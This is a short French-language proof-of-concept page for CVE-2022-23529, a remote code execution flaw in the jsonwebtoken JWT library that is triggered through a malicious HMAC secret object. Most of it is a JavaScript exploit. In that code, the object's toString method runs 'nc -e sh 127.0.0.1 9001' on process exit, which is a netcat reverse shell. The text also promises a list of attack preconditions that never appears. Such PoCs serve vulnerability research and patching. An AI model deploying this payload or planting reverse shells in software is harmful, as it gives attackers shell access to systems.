
Preuve de concept d'exploitation pour CVE-2022-23529, démontrant une exécution de code à distance (RCE) dans des bibliothèques JWT vulnérables via des objets de secret HMAC malveillants.
Les versions de la bibliothèque JSON Web Token (JWT) antérieures à 3.4.6, 4.0.4 et 4.1.5 sont vulnérables à une exécution de code à distance (RCE).
Les fonctions de hachage HMAC acceptent n'importe quelle chaîne en entrée, ce qui conduit à une RCE.
En raison des conditions préalables, cette vulnérabilité n'est probablement pas exploitable.
Pour exploiter cette vulnérabilité, un attaquant devrait satisfaire l'une des conditions suivantes :
var jwt = require('jsonwebtoken');
var token = jwt.sign({"x":"y"}, 'servers_secret');
var poisoned_secret_on_server = {
toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
process.on('exit', ()=> {
require('child_process').exec('nc -e sh 127.0.0.1 9001');
});
process.exit(0)
}
}
jwt.verify(token, poisoned_secret_on_server);